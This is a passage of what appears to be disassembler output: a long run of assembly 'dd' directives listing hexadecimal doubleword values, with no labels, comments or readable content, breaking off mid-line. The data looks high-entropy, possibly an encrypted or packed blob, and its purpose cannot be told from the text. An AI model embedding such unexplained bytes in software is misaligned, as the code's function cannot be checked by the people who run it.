dd 0B280D740h, 85C6850h, 581DC71Fh, 82F4C354h, 55B34DE9h dd 10C2BA20h, 0CC4EC685h, 56863E84h, 0BCA94F3Ch, 52E9090Eh dd 60E05ED2h, 76A502B6h, 941E8FAh, 168BA67Ah, 7AF7981Eh dd 81F95827h, 8B68E2B7h, 0FAA508E9h, 0BE3C166h, 0DE3D39E0h dd 48A103D5h, 96EA1FBFh, 59273B4Bh, 86E904BBh, 3BD996F0h dd 75AE6F2h, 81714D93h, 0F3203BBFh, 1A54023Ch, 0A1DCE905h dd 52A7BA01h, 144DEF6h, 465B2E4Eh, 41A66C29h, 0D6C20208h dd 48C6B9C0h, 723D9A1Eh, 89E9F042h, 5E1CECE4h, 2D5112C2h dd 89E16BFBh, 1766A813h, 28A0E70Eh, 0DBF85332h, 0C0D101BFh dd 0B07F05E2h, 5D9830F5h, 0EB3BF1ECh, 0F28A24E9h, 582D4490h dd 5A44F6C2h, 0EF038697h, 0D5F04C25h, 25AB0589h, 0A7160EDBh dd 0C8AA8C35h, 72B5EB2Dh, 0BAE93439h, 86D2B9ABh, 4B63AFF3h dd 62A34EFEh, 58C515D8h, 34F4EFFAh, 25A7F44Fh, 0E414563Eh dd 0AA780E6h, 98E2657h, 1C7DB1C0h, 0A2CE5BB1h, 0FB292804h dd 6304029Ch, 89C13B1Ah, 3C80CDA3h, 0C1FEDDB1h, 5E9AF186h dd 0E1A441E9h, 2146A530h, 1C47098Fh, 41229220h, 35B07A54h dd 2D822E0Fh, 0D51D42CAh, 4C547B7Ah, 51025A9Ch, 69688EB1h dd 0BF2E609h, 0F34B5B0h, 0FFE9FE60h, 1786B56h, 548DF181h dd 6C301214h, 0A9BA4B4Dh, 2B9E4B3h, 0B372AB92h, 97637008h dd 80397B60h, 5E2A6880h, 0D0923358h, 478FD30Fh, 53A80640h dd 0BF32A2Bh, 4E89462h, 25EC8884h, 554C458Fh, 0E85EB412h dd 0CD099EF7h, 5172FC9Bh, 916DAD72h, 1380691Fh, 0B450F3B2h dd 0E25A2085h, 1217AFCBh, 882DFB09h, 80DEC230h, 0F7788853h dd 0A57C8729h, 26C9BA1Fh, 63D98540h, 40B29588h, 2E00BB70h dd 5C47C403h, 1C882AB5h, 0D78059EFh, 0C178F11Bh, 3C4979D8h dd 0AA955490h, 0F59A6A4Fh, 20C5F64Fh, 0DBE5B7F5h, 0E8427324h dd 0C63A4852h, 0EAFEE01Eh, 125BEAEEh, 0AB5AF330h, 0C109C1Ch dd 0B31AD1Eh, 31DD4968h, 31758A24h, 5917B326h, 35C1E001h dd 0DD059341h, 0E60094BBh, 0F10C27ABh, 0D814AF81h, 1D5AC9A3h dd 8C87BBC1h, 0F9E5122Ah, 0A41CD374h, 0DF3574D2h, 1E378F02h dd 6E807F56h, 118FBF57h, 292C5312h, 0ED06A1B9h, 9A619928h dd 11E12F4Bh, 0E7D1E36Ah, 0F01C365h, 245F2959h, 5968135Ch dd 0E93FE443h, 5CD1B12Dh, 5C6FB59Eh, 5A70678Ch, 20933E80h dd 1D8E36Eh, 8610423Dh, 0CB30C731h, 0B41CBF96h, 4A942D04h dd 0FCC12392h, 0A26FA77Bh, 5A00D637h, 7FBE3253h, 0D69F4DE9h dd 3A68AD04h, 0C0ACBC3Ch, 43F05278h, 0E9C80C29h, 5A50E5A4h dd 105F097h, 131D0B05h, 40D02953h, 0AA0C5FB4h, 0CF814A1Fh dd 14853407h, 6818E9C2h, 0E18304C1h, 0EDBCE13Eh, 274D6C64h dd 0AF75887h, 232940A0h, 4D8802ADh, 4ADD0E95h, 5E08043Ah dd 50618BEFh, 0AD000882h, 0C60574D4h, 0E660A0Fh, 3B04E22Dh dd 4091ACF3h, 65276807h, 0A05C7139h, 8B629D19h, 0AFBCCD43h dd 0A5254529h, 53CB1A6Ch, 77F51AD5h, 67B585C8h, 50BBFB83h dd 27CBCD1Bh, 0A7FC3381h, 2C595B8Ch, 5D488B67h, 548C2782h dd 0ED8005BAh, 0B93BC2C1h, 29D9AB0Eh, 0D02BDCD8h, 0C54E8CE9h dd 4B8453FDh, 44EB17C7h, 9394AFB7h, 0DB90D3ADh, 0B3F6434Bh dd 0E067F665h, 0EB03EEEDh, 496D6C8Ch, 23DA85D9h, 82D1505Eh dd 0C1571B95h, 10968D54h, 0F5C60BB0h, 0D0F28CE2h, 0B95B07F2h dd 9056452Ch, 3DAA001Dh, 95BE0262h, 264A1852h, 70214709h dd 0D3882747h, 103E4B71h, 0C1071ACAh, 0E30F04E0h, 0C3109E2Bh dd 0AD2CDBC5h, 4EB1015h, 5B98F780h, 3A3B99FBh, 61D13387h dd 20CB7546h, 52765530h, 5C12DF2Fh, 6EE9D856h, 69D4CC49h dd 2D16F7E0h, 23E3D332h, 5DC08E6h, 0AF7DE7FBh, 68509B40h dd 58C46D1Ah, 9910306Fh dd 0A2294F6Ch, 1370F63Fh, 0CA6156E3h, 500EC64h, 4A04277Fh dd 518A0F1Eh, 0B26E95A1h, 0AB1584AFh, 0C44445AFh, 0F4268825h dd 2A091D12h, 9B6041FBh, 2B61D2B6h, 0FBFDAEF5h, 0BD25BE10h dd 31CE8818h, 2D2405CCh, 71D8F446h, 8A8557Eh, 1E915DE8h dd 0F88B7425h, 0C29E95E9h, 4BC1592Fh, 0EF4DF874h, 0BAC92F21h dd 0F9D05202h, 0B8716007h, 0F48F5939h, 0A2E84F07h, 6C511703h dd 1EEE2944h, 625D0881h, 0B95910BCh, 7DAC4Ah, 0B652E4EBh dd 79EEC0F5h, 38CE3B06h, 0FE02E60Bh, 19A9EC8Fh, 0EC9FDD66h dd 4E8C5975h, 2F70994Bh, 87EC538Dh, 9825FBE9h, 0E9DF7Ah dd 0A5F3585Dh, 10386203h, 13B8B0E9h, 4AEF830h, 0CDFB3A51h dd 5EB60B29h, 0B04022B3h, 746C7229h, 51C71469h, 0E74D08B9h dd 4976582Dh, 95B9E9C1h, 7BE4446Bh, 18851EC1h, 56E0D913h dd 0CC1A1292h, 0BD56B44Bh, 0D69FF512h, 533CC3E8h, 18604EA5h dd 55B0E480h, 0ED37F20h, 68565B5Ah, 973A4828h, 4A8F4B23h dd 59688B54h, 0E909A405h, 11F597F2h, 0DD405975h, 0B5D6F65Bh dd 6CC6F87h, 0ED801ACEh, 1E2DE918h, 0B1FCE4EFh, 15F8567h dd 3A72BF7Ch, 62475159h, 800977F1h, 4E47D5E3h, 460CC02Bh dd 5017BF28h, 38F88926h, 90109CA4h, 16E45C2Dh, 5C4E1D20h dd 0F7CC0ACh, 27B75352h, 0ACBDE1A4h, 7458CBC5h, 37024660h dd 305A6633h, 0F209D1B0h, 0A2DDEE04h, 63049938h, 0F41B217Ah dd 49147ED6h, 5AFA76D8h, 0C02438Dh, 2023C45Dh, 0BE0AD046h dd 0B72905FCh, 24E2BA08h, 4DA502E0h, 60FF2097h, 0EE781A5h dd 455B77CCh, 2DE442DEh, 3E403F63h, 22774DFEh, 0D1D0F70Fh dd 7067A1E0h, 0B478B4E4h, 0C650EE25h, 28501391h, 982C3FD8h dd 51E405ADh, 87B408BDh, 0D098213h, 0B8FCEB60h, 4A850F03h dd 0AECC1ECBh, 0E9D03EBAh, 0B61A04E2h, 0FBE68818h, 5AE9033Ch dd 0A6D085C6h, 0CE810088h, 1FD408A6h, 0D1FD5E68h, 34E88578h dd 0C672884Bh, 965AF126h, 0A99CAA28h, 0FE854427h, 0A008B831h dd 824D17E0h, 822F5184h, 38614561h, 0C5C6E403h, 0E919FE73h dd 0E88D64D2h, 21339C89h, 70B319FFh, 0EC4F752Ch, 0B27EA1B3h dd 0D228B049h, 0BCAD6117h, 80A5EEh, 60C81C08h, 2EE90C43h dd 293B3BD0h, 234D2EC3h, 98F03EB8h, 0C56F8606h, 0E77616F7h dd 0EA320674h, 0F50F1963h, 0F371E656h, 0C82C32BDh, 9D8120Ch dd 265108BAh, 0F835F580h, 4EEA8178h, 6607C801h, 86E4143Ch dd 7A47E950h, 0D55B585Ah, 0BA43122Dh, 26E3B6BCh, 0B8808682h dd 7034612h, 6D7225h, 0E20D779Eh, 54B6E6Ch, 91932209h dd 480AFDB0h, 7A531953h, 0CECD3175h, 458C2E73h, 28F6ED4Dh dd 0EC90ED0Eh, 3B341E2Eh, 325553E9h, 0EA13BF2Ah, 4295605h dd 0D56F830Fh, 150BAAF9h, 4CC287C5h, 5D59EB02h, 5186616Dh dd 6928D1B5h, 0D55EA8E9h, 3DDAF66Bh, 9F61F24Ah, 2187E316h dd 6AA54A52h, 0BC4B6641h, 0B468416Ah, 2DB19A71h, 420FF7FDh dd 11396AE9h, 8ECA68ECh, 680BF066h, 4D9A23C3h, 0C4600F41h dd 0E9176BC0h, 22A45A40h, 0B9135FF7h, 70908440h, 769DAA52h dd 7AE9A584h, 8742BF1Fh, 7FA15E65h, 24A252C0h, 0BD292626h dd 1711FA02h, 0B23E6030h, 0D8B12F4Bh, 8E3F61F6h, 2F26FDE6h dd 20F6E13Ah, 36806E04h, 0AF604FC2h, 0D64EE92Ah, 3CBA9312h dd 442EE9B9h, 0FD43404Bh, 2EA54D1Dh, 0E2F18A55h, 4723FB04h dd 0D3181029h, 0DE6B5Ch, 0A5786292h, 5A0DFA28h, 0FEF224C9h dd 450E2A88h, 17253B4Bh, 4148C1FAh, 86434185h, 105D2994h dd 7E7B1073h, 90EE920Bh, 53C33E75h, 1A57E8CFh, 49AE4DBEh dd 890028Eh, 9E8C48E1h, 9A05EDCFh, 0DF75F830h, 32F14731h dd 0E929DB47h, 4DF3835Fh, 0BD35F078h, 0B7E9177Ch, 0A8DA949Dh dd 72EA256Ah, 0C9F1BF3Fh, 4E79C472h, 8A17A4D2h, 72D44A41h dd 54DAEBCAh, 15E8DA55h, 82DCF2h, 6F3DEEFEh, 4F01FE7Ah dd 0B603A8F7h, 0E68127Dh, 81E48C08h, 57209A41h, 4FC02C44h dd 778C1008h, 1706EA3Ch, 0E9BDEB29h, 0B040D7D4h, 1DD760E1h dd 1CBA0CF7h, 4A3ABD48h, 0F14EF2F9h, 2CBBCDD6h, 986882AAh dd 0C9B0FE19h, 23987F66h, 0B0414F0Ah, 4B19D735h, 0CB40010Dh dd 0B73D9C68h, 259F1A94h, 7DFA5157h, 2C387F58h, 0D6C3AA9Ah dd 1C3F4A9Fh, 574EF3Dh, 0BFFDB050h, 0E290119Ch, 0EAE2D320h dd 7AB459CAh, 0FE0CEF06h, 0F8630AC7h, 0AE282406h, 0BEE927B7h dd 1B0B8B72h, 0D62DD657h, 14DA0014h, 55E9798Dh, 0FC27DE9Ch dd 8350256h, 0F5E11B63h, 545C02D6h, 8CB8CFEAh, 8B80FE35h dd 0B571971Ch, 1CF8CFC4h, 0D642B74Ah, 64A9F9ACh, 494023A9h dd 7EE4A057h, 541D0317h, 94880F41h, 8D0EC562h, 97A6F8D2h dd 0FB082EF3h, 0C68900E1h, 6FB5BBB1h, 30CEB609h, 53D304EEh dd 0E74D05C1h, 0ADBB2681h, 0E81AD057h, 0E1948A77h, 257C7088h dd 214DABC4h, 6F064AB0h, 0A07D9039h, 6F5202C0h, 0DC499401h dd 9054017Ch, 0A3DFFF34h, 0F309B05Eh, 0CDDD30E9h, 326EE73Bh dd 0C16FA61Dh, 840F0781h, 8E6AD2EBh, 7D0C1015h, 5BA2F94Ah dd 949F37B8h, 91068CCh, 0D6B82D4Ch, 0B8EAA6FEh, 51AEDCEh dd 16EE5282h, 390BBB01h, 0F3604E48h, 93C59FA0h, 1353BF3Dh dd 372199AAh, 0C43EE568h, 0C219A213h, 48A5E9F9h, 17C981FEh dd 0B80B659Ch, 3E10016Ch, 0ECE96ED5h, 0EC4B503Ch, 0D8E9F1D9h dd 0EFA5453Eh, 0E2D1BFF1h, 0F33A357h, 0C0A4545Ch, 0D1617489h dd 56522701h, 0CB5D0568h, 48ACB660h, 6588B69Dh, 0EB8A0F03h dd 0FAD7B14h, 7F0C0425h, 0D1F98F82h, 85DAA3D5h, 0D9FE8D1Ah dd 0DCF33F9Ch, 0AEF8D44Ah, 0C809ECDh, 65C74D55h, 0E92CEF89h dd 8A64914h, 5F3E4A2Dh, 0C4224ECEh, 71A3B5ACh, 0C3F58E3h dd 52ADD4h, 41C63530h, 0F7651870h, 1C3BF4D8h, 0F16E626h dd 74E7B818h, 8E099447h, 58035F3h, 0F78B0F71h, 0E3C198A8h dd 0F51297F5h, 5E2791B8h, 2C210AC4h, 0C6E20BDFh, 0E02730C6h dd 5D4A1279h, 225D9AB2h, 0D419E974h, 0AD7B2D56h, 613C442Dh dd 5EF05556h, 53A06E5Bh, 5022B458h, 0F603BB53h, 3137DB54h dd 5B602F5Ch, 0E04B5A96h, 6882A4C4h, 0B980A0D2h, 23F38DFh dd 40E18139h, 0F1CAB227h, 3D2CE980h, 0CB90654Fh, 0C4545040h dd 4D283BCh, 75FF5B66h, 0C78CB0A9h, 50204009h, 0E3338258h dd 0C95DE67Bh, 0C458F960h, 77E5048h, 5FE935ADh, 530A04ABh dd 902C747h, 0FB500A74h, 196E9705h, 59977584h, 0F1FCEB35h dd 4A27E958h, 84C727A3h, 6A80B1D1h, 0BAE48EA2h, 82780161h dd 0F1BF1616h, 0C3E9426Fh, 3CB0F2F0h, 3F89DA4Ah, 9A78BCF4h dd 0E72D0CC5h, 0E4708447h, 4857030Bh, 81C25029h, 0CBFC5A08h dd 63401FFBh, 8BE3414Fh, 8265B264h, 0B333DC26h, 0AB6E4005h dd 2D6FB830h, 45E4DA01h, 4B55B520h, 4BB1D85Ah, 0C27ED941h dd 7F78F717h, 562F6812h, 7A13DCA3h, 75B72765h, 2B25F185h dd 0D0FCF4B1h, 1A229AEAh, 1DF53B84h, 0FD22C5D2h, 9B072F85h dd 98EABB74h, 31558402h, 0EA42401Ah, 0B4FB4C4Eh, 0A3CDD412h dd 7FF717EBh, 5BA998CCh, 1179F604h, 2D7F02C4h, 0A8640186h dd 32A36814h, 6A358469h, 0C6BBBCBh, 0EF480105h, 680C478Bh dd 6E616519h, 36FDE85Ah, 282A4D9h, 63685F5Eh, 0B4BDE51Dh dd 0FFD375E3h, 0A7F032FEh, 0A2021CB0h, 1322D29h, 0A1EE2D6h dd 0B112C908h, 1469A88Dh, 0DC86C1F4h, 59595262h, 6940C94Ah dd 0D1806708h, 5E70B0E8h dd 4C75E2A6h, 2ACF2086h, 0B9A7EB89h, 1D2D70D9h, 3F530916h dd 74160B8h, 8082343Ah, 0C072F107h, 8B07A90h, 7EB82B20h dd 6A71BD66h, 71135426h, 1CAEBB64h, 1D512D30h, 0B0CBEC4Bh dd 581D7F61h, 5727C846h, 0B8600659h, 5813937Ch, 28277743h dd 0D8D95D09h, 0EF394446h, 0B22E0135h, 2AFD7D55h, 0BDD73AE3h dd 4FE9B064h, 14969B53h, 1A222A21h, 15499AB0h, 7302845Eh dd 81C28004h, 846E1007h, 28DFEA11h, 4209D9BBh, 2C02D3A5h dd 0C975C3ABh, 766B1312h, 5B4B0755h, 0EA2FC7F6h, 0F5A0C8DAh dd 0E483CF9Ah, 0C94A31EDh, 37EA8263h, 7771AB2Ah, 9F8BDEE5h dd 8CB2D9B0h, 0D7E1CA49h, 5CD2E7ABh, 0F8BDEBC8h, 9390FC16h dd 40A088B4h, 5F775AD7h, 16C1BEE5h, 25AA4387h, 0EDC0BF67h dd 0E1E7B050h, 0C0580C96h, 0F8E926F6h, 0A665F45Fh, 0D6FD1C53h dd 0EBBE52C5h, 0F85E2A62h, 7B67B7D0h, 0A24AAA0h, 0DD08B456h dd 2CAC0764h, 0C8B5927Ch, 173F56DCh, 28BF0F9Bh, 269F3362h dd 95CF202Bh, 3F780EF4h, 0EA6CBD6Ah, 5A545254h, 5CD30127h dd 94FF7A37h, 42B2BCD3h, 5303C544h, 137C0E81h, 0BC73F552h dd 6B07413Fh, 8ABE2A52h, 21AA9296h, 69505A59h, 0BA8B462h dd 37298589h, 3F7E6557h, 0EF769896h, 50855A65h, 0D1ED60BEh dd 0C3A1555Ah, 0A3BB04B7h, 0C2512546h, 0E6F7C632h, 0FBF39FA4h dd 7B2386EDh, 44BF57A1h, 0BADA841Ch, 0C20C3E53h, 9D6C6BDDh dd 0CA8B7F9h, 469F42F0h, 757182ADh, 0ED547B8Ch, 1EE44400h dd 7D4BBB53h, 181E6B6h, 3665DEFh, 0A0DF2941h, 5B500890h dd 7E410F83h, 8BC160FEh, 22A43E78h, 594ABD82h, 8FF511FBh dd 2305D3FFh, 8D822E71h, 4A666C52h, 1BA8BC7h, 850FDB09h dd 927AA882h, 0F157C4F7h, 0ADFA4C2Bh, 0BE899F94h, 34C5DA10h dd 139F9863h, 0E047B8B7h, 4BE61F5h, 0BBE9ABC5h, 0FE8E91FCh dd 0E8D7EE04h, 808CB3EDh, 5913B5BDh, 0E8BD6002h, 256C310h dd 541A9A2Dh, 4249E019h, 27109D4Dh, 935F608Ch, 68C498ACh dd 22FE16E6h, 6FFC53A0h, 1C8D50A5h, 25490B68h, 0E9EC3877h dd 4DDC9AB8h, 58B2056h, 0E98BC4D6h, 75ED4226h, 0E98CBC47h dd 2BD3BEDh, 25457F79h, 0A8D44481h, 0E947E962h, 447FF6BBh dd 22410150h, 9A9C770Ch, 0A3BB257Bh, 0E562D16h, 50ADB909h dd 0EF389DE0h, 5B814556h, 0EE16730h, 0C0B4ED80h, 406086Ch dd 0C940F5F2h, 0BAE097A3h, 0E5BFF4EAh, 6A6E083Dh, 983F627h dd 0A850F921h, 74106825h, 65986DCBh, 63CF3A57h, 0EFAF0F16h dd 4084D921h, 2CFA6800h, 3100EEB3h, 0B9065B0Eh, 1219765Fh dd 0CAD92916h, 0E1C11723h, 9CCC22E0h, 34562DFEh, 30C1E8E2h dd 3604E0BAh, 0FCE97B35h, 78337193h, 0C5A227A4h, 0BCBA17Eh dd 23AEDF45h, 498AD0A5h, 560F66A9h, 8CAF54C4h, 0EE3E80BBh dd 5ECE2690h, 0A5365A98h, 449BC95Bh, 5872995Fh, 67041381h dd 2A1BE54Dh, 0C4021A7h, 68500256h, 28696A8Ah, 0D8009F9h dd 73C77F06h, 4C42092Dh, 8A7A5097h, 780844C7h, 0E97F36E1h dd 88AC4FD1h, 53E7978Bh, 14F10A3Fh, 532DBDBEh, 0DA175B5Ch dd 0C02B6B80h, 0E5810267h, 23B217ACh, 324A181h, 3E31D980h dd 83EFD4C0h, 53352D0Bh, 0C7507C50h, 0B0955D08h, 0EDB6E962h dd 0E87C798Bh, 0E1534A5Ch, 5A7EA311h, 0E8554C40h, 0BF2C8B42h dd 0E9E16ED3h, 0CC2E53A1h, 0F0FB8EAh, 0CB7C952Ah, 66CD6294h dd 685101C3h, 7907011Fh, 3FC8CAE9h, 81700F4Bh, 5DCD8B95h dd 8673C4A3h, 8B5D69DAh, 4F225574h, 0A056EAA8h, 0A21E708Fh dd 75DFF72Ch, 9B4FA1C1h, 51621C2h, 515FFED2h, 1827F2B9h dd 40CE59CEh, 86FB3CB1h, 1ED6F2A5h, 4536005Bh, 0BD1BB540h dd 112D8B26h, 0A7E56381h, 0E43B8F31h, 0B291FC47h, 0C02F2B20h dd 0C43CF75Ah, 0C70C81F1h, 314E8DECh, 0D6FAB06Eh, 0F0215A02h dd 0F2A8F7E9h, 778F0D6Dh, 0E4C36A47h, 2F1401CFh, 0EF5481Fh dd 732E3514h, 0A42A72E0h, 3E9E20E7h, 56CA802Fh, 51950B75h dd 0EB5DCA0h, 4198C5FEh, 4DB7A40Bh, 42DB5E5Bh, 400B5082h dd 85A7E094h, 5976578Bh, 0FC5013F7h, 0C1BD8E95h, 293D2313h dd 3099B13Eh, 0C84E3122h, 0C584FFFDh, 0C4540EB1h, 0B9D944FBh dd 6E304965h, 3E714195h, 4AB102E0h, 0A126B54Ah, 0F2A71BE2h dd 55BB047Dh, 0C07F6E0Dh, 286C2F9Bh, 0EBD15C17h, 0DFB024B8h dd 0F130E15h, 20FFE6D1h, 22257638h, 0F46B0D41h, 0A60F1582h dd 4BE9FD19h, 9FD6F46Ch, 3C85B903h, 0C02AE713h, 2D0FFD94h dd 0C131410Bh, 589FF58h, 1C9662E4h, 0C79794BDh, 0D988EC8h dd 29F5C9E8h, 0F38A166Eh, 0D9BD4BC6h, 0A36F4651h, 16B895E3h dd 45216E28h, 0AD046175h, 0D3AFD2CBh, 50B158B3h, 553D7E05h dd 897820FDh, 82D00119h, 54413B6Ah, 3B3F3D1Dh, 40E68E41h dd 80470ED5h, 0D935330h, 0BE28F921h, 0B0804EA2h, 6F920947h dd 6EAEE93Ah, 80EE0052h, 1F5990C6h, 0A65AF030h, 0FA1C3473h dd 0D2160F8Eh, 22D9453Ch, 0AFC798CAh, 70BB9F40h, 7363DF3h dd 51090E2Dh, 2F2DCC5Fh, 0BAE55DCDh, 0D1E95185h, 0FF61588h dd 154A3FE1h, 0EBCE537Dh, 1565DD39h, 1C0ADF2Bh, 4C9ED188h dd 62AE01D3h, 0F292B1C5h, 8C36BE22h, 29E2935Ch, 7845F5D8h dd 5D2BEAA7h, 68C01893h, 47883837h, 0F579B777h, 0FD9C68C2h dd 0F0970046h, 714C201Ah, 4941B901h, 3C71326h, 0B290640h dd 95F07FE9h, 47CBE168h, 0F035C22Dh, 4F3C04F9h, 80D2F73Ah dd 53037409h, 8A255100h, 0D1A484Bh, 33261D1Eh, 0E913FC02h dd 8816824Eh, 349996C3h, 51834887h, 3168A840h, 0CFCF6632h dd 0B42E6854h, 297F93C0h, 68531DB9h, 3866655Bh, 50FEF420h dd 1606E95Dh, 8277561h, 3A28D61Ah, 0BF80EB71h, 0B223007Dh dd 0DC87BA4Bh, 40B5B44Dh, 3CD472EBh, 856EE925h, 0BE3BE8A4h dd 5505D649h, 3B68968h, 4E65EEBDh, 0C20D0151h, 20357D7Bh dd 0D41AFC1h, 98E75434h, 0B8EF0042h, 0E912E343h, 0B9D2F18Ch dd 911F24h, 0F283D0F7h, 1CD59219h, 0E95D800Dh, 0D47E91A0h dd 7380EBA5h, 5CEAC08Ch, 5F10CF07h, 0F2800942h, 5A4907B9h dd 9205E9F3h, 22B77419h, 17D9D3EEh, 1274F88Bh, 9AB8C3E9h dd 0C44BE24Bh, 30094460h, 5D156922h, 0C7C7DE0Bh, 0BCD60990h dd 716DD7Ah, 0BC9D19Dh, 60463B33h, 3590144h, 0E91C4F09h dd 233BF630h, 0C4C192F5h, 58361E44h, 2C3237BBh, 200CB8E7h dd 2E8F55A0h, 0A6F1D869h, 199AAAF0h, 505F67F1h, 2D24E9C2h dd 6861D78Dh, 25330BAFh, 0EF106C4Ch, 60DC9AA5h, 82EA2762h dd 3802C4C1h, 5DB2D306h, 89844619h, 0EF2830F7h, 8A50870Bh dd 57C80B3h, 0FE494C6Ah, 0A1EBFCFBh, 0D3385F08h, 2DC3D3DFh dd 0B49E3CBFh, 56EC4BEAh, 0BF6D4B04h, 0D6A28F12h, 0FBA7EC84h dd 26682598h, 6943313Ch, 5276BE80h, 0E92A7557h, 812FC5BDh dd 0D79B5AEEh, 27A7A90Ch, 1678945Fh, 0AF58F6E9h, 7143431h dd 0BC868C6Ah, 8F2C564Eh, 43DEA8F2h, 54E348C1h, 0DEE27125h dd 1818E7FFh, 13E9555Ch, 67BB824Bh, 58FDB580h, 0B5FA6D5h dd 0F897CCECh, 665A246Fh, 10172472h, 482F7539h, 0C58171FBh dd 3A660466h, 0C573AC71h, 0DAEE4A4Dh, 5CF81386h, 0B4A563FEh dd 32B76F7Ch, 0E5F109A2h, 0AC8A022h, 64E15C75h, 0BDB8438Bh dd 7D8DB325h, 0ABE6B530h, 2B49EBBEh, 0DD29FF54h, 83185403h dd 53A5215Eh, 4EC01530h, 9FCEF375h, 12D06C93h, 58EFC1D7h dd 53F1607h, 813D0170h dd 457DD3F2h, 98862A0Fh, 46CB006h, 73228AEAh, 9787AA24h dd 5067F790h, 0BD29EEFEh, 0D6136702h, 940C6803h, 59E028CDh dd 90BA9C7Dh, 0BF5703D0h, 0B9ED2BCCh, 53AFD29h, 8369D25Ch dd 10B50148h, 5D31089Ch, 1C8EAD8h, 16DCDBB2h, 0A520990Fh dd 0D6482A69h, 723C321h, 0A56E042Eh, 732FFFAh, 9E5D58BFh dd 1BE9F0E0h, 0F0BC592h, 0D209AA85h, 753CFA64h, 2CBA9C80h dd 22F40294h, 0C1A2E188h, 4A0B987Dh, 693D7601h, 7CEF1080h dd 95B83E1Dh, 0DC253A96h, 82F0D282h, 0C40DE924h, 81D7A8AFh dd 8F227B13h, 0D96DEB5Fh, 412A70D5h, 0F0DE8C47h, 2BA02B0Ah dd 0D185A149h, 186BA00h, 4A0B827Bh, 0A53D8E0Fh, 9382422Fh dd 5201D4DAh, 8408BBF9h, 55520BF6h, 0DF5ADC40h, 0E7BA1A50h dd 4DA22D12h, 6DC49716h, 60419FBAh, 374BBE56h, 3114854h dd 2923CC05h, 0C0F9C27Eh, 9E8A2AD0h, 97CB3457h, 10ADC6D6h dd 0B63DB38Bh, 0E65EBFACh, 25074C17h, 0FB17E2C9h, 4C762F2Ah dd 4069E89Ah, 2409C957h, 124C7E1Bh, 56E9605Dh, 0BC5F49E9h dd 487863D2h, 187DBDBEh, 4029D219h, 0C91034F4h, 0E909210Bh dd 8B7E0AB1h, 0F90BDF72h, 61C73A10h, 3F387D12h, 2D23B801h dd 4061743Ch, 0C719273Fh, 62CBE249h, 5B3F41D7h, 0AD0D343Eh dd 93B34067h, 5BA2B2Ch, 14CF6F08h, 0F55EE0ADh, 7140CEBDh dd 0C29D0CC6h, 5B07007Fh, 963F6C68h, 5E8C626Bh, 0DE873104h dd 0F6A4E834h, 0B8B2BAC2h, 1A80731Dh, 4DEF6C4h, 187DCA04h dd 3D58E8C4h, 99AA186Ch, 7EF9B7D5h, 0A55EF28Fh, 54BDDBDCh dd 958A2477h, 40B86007h, 6E7D7B80h, 0A702AB4Ah, 0D70EDF68h dd 9BFC4466h, 761CA16Bh, 52B2E266h, 699D267Eh, 898B9AA7h dd 95CE7735h, 0C49851B7h, 4DC8FA05h, 88754A90h, 0B93F517Ch dd 74C3172Eh, 0F10392FDh, 35FB0E49h, 1BDA6005h, 4EC341BEh dd 718F7BC2h, 23913D77h, 0ADF05893h, 643BC8CEh, 0B192BC54h dd 0CA2A615Eh, 0E24C25FEh, 3B015F9Dh, 0D0F5814Dh, 0E803176Ah dd 7E2A1505h, 5516A82Bh, 0EC094A08h, 0D607419Eh, 3857118Dh dd 30A75B0Ah, 0F7685C83h, 5DF5989Ch, 0AC69900h, 0C833852Dh dd 1902B53Bh, 5D04E84Ch, 550265C2h, 22A5C7F9h, 1A51E19h dd 0CD9CEB80h, 0CCFFD6C3h, 81287A7Ah, 1FE42A2Eh, 7FBE2C68h dd 35D962DBh, 2BA5AAB8h, 258E73B7h, 0E9126EDBh, 35AB27AFh dd 88268C8Eh, 8E580326h, 0FB386249h, 2CE9E121h, 0C97E86h dd 0ACE5D0C1h, 0D1E0F5F3h, 0F5DDEDD1h, 0BF01B76Ch, 3A744917h dd 60B72189h, 0FE8085AEh, 2A6195CAh, 38E1EDDDh, 455F27DDh dd 0ADEC9D1Eh, 6297D66Eh, 0D37957E4h, 286DCF88h, 1F8073D8h dd 0BF328F1h, 0DF796CCBh, 40FFF12Dh, 2E7E950h, 2DBF53B5h dd 0E9278EDBh, 0C15418F6h, 0E5CD9600h, 0E67CAC0Fh, 16475B8Fh dd 848AA96Eh, 11279FDh, 2809157h, 0A1442BA0h, 0B2BA9B0Dh dd 288301D6h, 0DAF73421h, 5BBC6D60h, 81A8493Eh, 0D7E8B1Ah dd 0D17E3402h, 0B68D75E3h, 0A026E06h, 891B5644h, 0DF9D8991h dd 58C14130h, 802DB29Bh, 3D7C7E3Fh, 0D4EC9517h, 5F6E8BBFh dd 840F4981h, 31213CEDh, 0E428EE48h, 8313E27Bh, 0BACD8B58h dd 606655C0h, 0A1442EFDh, 34FF3479h, 30C8A317h, 14681D6Bh dd 0CCEDB742h, 2FFDAB88h, 0AA55FD04h, 0B828F8D8h, 9F3478D1h dd 7E4825E0h, 2B386082h, 6A803324h, 0C889340Ch, 0DAC7016Dh dd 2D63C4h, 412F29ABh, 0BE56F801h, 1CE908A0h, 0A9E8075Bh dd 126870C4h, 455952F1h, 0E916722Ch, 52DDBC39h, 5F05A2ABh dd 0E9156BF0h, 13836489h, 338C1016h, 8B335EDBh, 909E4E6Fh dd 0C5EBE912h, 3037EAC3h, 0FD954BB5h, 3FB073AAh, 91E9190Ah dd 5D121C7Dh, 40D868D8h, 51EA28F9h, 2E6BB13Dh, 5D93D06Eh dd 698941BEh, 0F845F553h, 5C9A896Ch, 0EA39AC98h, 0E8C5879Eh dd 0ED87D528h, 0FC748B5Bh, 9C56930h, 0AA3E488h, 0BDC6FB68h dd 8B80D314h, 0B29BED6h, 836F3920h, 59802185h, 0BD9E9750h dd 0B18952D3h, 0C87EC5Fh, 95E0A2Ah, 4087C322h, 4DD7B6EAh dd 344388C0h, 5509492Eh, 0AB9CD7AFh, 0E9F82109h, 9F6850A6h dd 7079EB38h, 13274F86h, 2EBE29Bh, 47FD90Dh, 2A8BF530h dd 0E0287B00h, 0ED9021F3h, 0B0BE9F6h, 5E4AB668h, 0A9D6289h dd 0A0B85ED1h, 59BE0558h, 82089F60h, 0C10395FFh, 27C5C4E3h dd 0BA944704h, 0C07BE1E5h, 6E3E2B9Bh, 614354Ch, 0D8F7072Dh dd 53AEC04h, 0E9154764h, 0A22E832h, 9A74800Fh, 65F38180h dd 0F844514Fh, 0EDAE5F83h, 0E9C927C9h, 0D6DCE5DFh, 0BE1CB5DAh dd 51580A96h, 758250h, 0A41485E9h, 6377F84Eh, 0BCB418B5h dd 89AB95BFh, 0BD1344D0h, 0CEEAD237h, 29B85F9Ah, 9D70F6E2h dd 0E1B4BF4Fh, 